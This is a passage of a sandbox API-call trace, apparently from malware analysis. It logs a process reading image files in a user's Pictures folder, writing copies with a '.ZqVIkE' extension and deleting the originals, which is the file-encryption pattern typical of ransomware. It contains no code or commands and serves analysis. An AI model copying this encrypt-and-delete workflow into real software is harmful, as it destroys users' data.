lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp", lpFilePart=0x0) returned 0x38 [0112.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0112.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kc6aihlo5rnpem0g.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0112.510] GetFileType (hFile=0x37c) returned 0x1 [0112.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0112.510] GetFileType (hFile=0x37c) returned 0x1 [0112.512] ReadFile (in: hFile=0x37c, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x10add, lpOverlapped=0x0) returned 1 [0112.519] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0112.520] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0112.524] WriteFile (in: hFile=0x380, lpBuffer=0x27a4bf8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x27a4bf8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0112.525] WriteFile (in: hFile=0x380, lpBuffer=0x27a7688*, nNumberOfBytesToWrite=0xfaf0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27a7688*, lpNumberOfBytesWritten=0x71ee88*=0xfaf0, lpOverlapped=0x0) returned 1 [0112.525] ReadFile (in: hFile=0x37c, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0112.525] CloseHandle (hObject=0x37c) returned 1 [0112.526] WriteFile (in: hFile=0x380, lpBuffer=0x27a4bf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x27a4bf8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0112.526] CloseHandle (hObject=0x380) returned 1 [0112.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp", lpFilePart=0x0) returned 0x38 [0112.527] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kc6aihlo5rnpem0g.bmp")) returned 1 [0112.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif.ZqVIkE", lpFilePart=0x0) returned 0x38 [0112.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0112.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\vilynmy_x.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0112.577] GetFileType (hFile=0x380) returned 0x1 [0112.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0112.577] GetFileType (hFile=0x380) returned 0x1 [0113.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif", lpFilePart=0x0) returned 0x31 [0113.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0113.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\vilynmy_x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0113.938] GetFileType (hFile=0x37c) returned 0x1 [0113.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0113.938] GetFileType (hFile=0x37c) returned 0x1 [0113.940] ReadFile (in: hFile=0x37c, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x1e14, lpOverlapped=0x0) returned 1 [0113.983] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0113.983] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0113.986] WriteFile (in: hFile=0x380, lpBuffer=0x269af28*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x269af28*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0113.987] ReadFile (in: hFile=0x37c, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0113.987] CloseHandle (hObject=0x37c) returned 1 [0113.987] WriteFile (in: hFile=0x380, lpBuffer=0x269af28*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x269af28*, lpNumberOfBytesWritten=0x71ed58*=0xe40, lpOverlapped=0x0) returned 1 [0113.987] CloseHandle (hObject=0x380) returned 1 [0113.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif", lpFilePart=0x0) returned 0x31 [0113.988] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\vILyNMY_x.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\vilynmy_x.gif")) returned 1 [0114.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp.ZqVIkE", lpFilePart=0x0) returned 0x3d [0114.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0114.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\zwnri4_ioilghw.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0114.016] GetFileType (hFile=0x380) returned 0x1 [0114.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0114.016] GetFileType (hFile=0x380) returned 0x1 [0115.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp", lpFilePart=0x0) returned 0x36 [0115.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0115.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\zwnri4_ioilghw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0115.246] GetFileType (hFile=0x37c) returned 0x1 [0115.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0115.246] GetFileType (hFile=0x37c) returned 0x1 [0115.248] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xeb70, lpOverlapped=0x0) returned 1 [0115.255] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0115.256] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0115.260] WriteFile (in: hFile=0x380, lpBuffer=0x2784478*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2784478*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0115.260] WriteFile (in: hFile=0x380, lpBuffer=0x2786ef8*, nNumberOfBytesToWrite=0xdb90, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2786ef8*, lpNumberOfBytesWritten=0x71ee88*=0xdb90, lpOverlapped=0x0) returned 1 [0115.261] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0115.261] CloseHandle (hObject=0x37c) returned 1 [0115.261] WriteFile (in: hFile=0x380, lpBuffer=0x2784478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2784478*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0115.261] CloseHandle (hObject=0x380) returned 1 [0115.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp", lpFilePart=0x0) returned 0x36 [0115.263] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\zwNRi4_ioiLgHw.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\zwnri4_ioilghw.bmp")) returned 1 [0115.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp.ZqVIkE", lpFilePart=0x0) returned 0x3b [0115.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0115.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\sbib.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0115.274] GetFileType (hFile=0x380) returned 0x1 [0115.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0115.274] GetFileType (hFile=0x380) returned 0x1 [0116.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp", lpFilePart=0x0) returned 0x34 [0116.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0116.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\sbib.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0116.073] GetFileType (hFile=0x37c) returned 0x1 [0116.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0116.073] GetFileType (hFile=0x37c) returned 0x1 [0116.075] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0xc775, lpOverlapped=0x0) returned 1 [0116.083] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0116.083] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0116.085] WriteFile (in: hFile=0x380, lpBuffer=0x2678888*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2678888*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0116.085] WriteFile (in: hFile=0x380, lpBuffer=0x267b2f8*, nNumberOfBytesToWrite=0xb790, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x267b2f8*, lpNumberOfBytesWritten=0x71ee88*=0xb790, lpOverlapped=0x0) returned 1 [0116.086] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0116.086] CloseHandle (hObject=0x37c) returned 1 [0116.086] WriteFile (in: hFile=0x380, lpBuffer=0x2678888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2678888*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0116.086] CloseHandle (hObject=0x380) returned 1 [0116.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp", lpFilePart=0x0) returned 0x34 [0116.088] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\sBIB.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\sbib.bmp")) returned 1 [0116.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png.ZqVIkE", lpFilePart=0x0) returned 0x4b [0116.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0116.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\4j1k1xf\\myvm8imusbzh.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0116.099] GetFileType (hFile=0x380) returned 0x1 [0116.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0116.099] GetFileType (hFile=0x380) returned 0x1 [0116.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png", lpFilePart=0x0) returned 0x44 [0116.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0116.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\4j1k1xf\\myvm8imusbzh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0116.886] GetFileType (hFile=0x37c) returned 0x1 [0116.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0116.886] GetFileType (hFile=0x37c) returned 0x1 [0116.888] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x128ec, lpOverlapped=0x0) returned 1 [0116.898] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0116.898] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0116.902] WriteFile (in: hFile=0x380, lpBuffer=0x276a898*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x276a898*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0116.903] WriteFile (in: hFile=0x380, lpBuffer=0x276d338*, nNumberOfBytesToWrite=0x11900, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x276d338*, lpNumberOfBytesWritten=0x71ee88*=0x11900, lpOverlapped=0x0) returned 1 [0116.904] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0116.904] CloseHandle (hObject=0x37c) returned 1 [0116.904] WriteFile (in: hFile=0x380, lpBuffer=0x276a898*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x276a898*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0116.904] CloseHandle (hObject=0x380) returned 1 [0116.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png", lpFilePart=0x0) returned 0x44 [0116.906] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\mYvM8iMUSbzh.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\cdlfcge\\4j1k1xf\\myvm8imusbzh.png")) returned 1 [0116.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif.ZqVIkE", lpFilePart=0x0) returned 0x4f [0116.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0116.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\32jaog_erqwmsdnvpp.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0116.910] GetFileType (hFile=0x380) returned 0x1 [0116.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0116.911] GetFileType (hFile=0x380) returned 0x1 [0117.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif", lpFilePart=0x0) returned 0x48 [0117.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0117.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\32jaog_erqwmsdnvpp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0117.618] GetFileType (hFile=0x37c) returned 0x1 [0117.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0117.618] GetFileType (hFile=0x37c) returned 0x1 [0117.619] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x14af1, lpOverlapped=0x0) returned 1 [0117.627] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0117.627] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0117.632] WriteFile (in: hFile=0x380, lpBuffer=0x264c8a0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x264c8a0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0117.633] WriteFile (in: hFile=0x380, lpBuffer=0x264f350*, nNumberOfBytesToWrite=0x13b10, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x264f350*, lpNumberOfBytesWritten=0x71ee88*=0x13b10, lpOverlapped=0x0) returned 1 [0117.634] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0117.634] CloseHandle (hObject=0x37c) returned 1 [0117.634] WriteFile (in: hFile=0x380, lpBuffer=0x264c8a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x264c8a0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0117.634] CloseHandle (hObject=0x380) returned 1 [0117.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif", lpFilePart=0x0) returned 0x48 [0117.636] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\32Jaog_erQwMsdNVPp.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\32jaog_erqwmsdnvpp.gif")) returned 1 [0117.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png.ZqVIkE", lpFilePart=0x0) returned 0x41 [0117.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0117.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\HxGD.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kqzxlptzkm577\\hxgd.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0117.643] GetFileType (hFile=0x380) returned 0x1 [0117.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0117.643] GetFileType (hFile=0x380) returned 0x1 [0118.311] 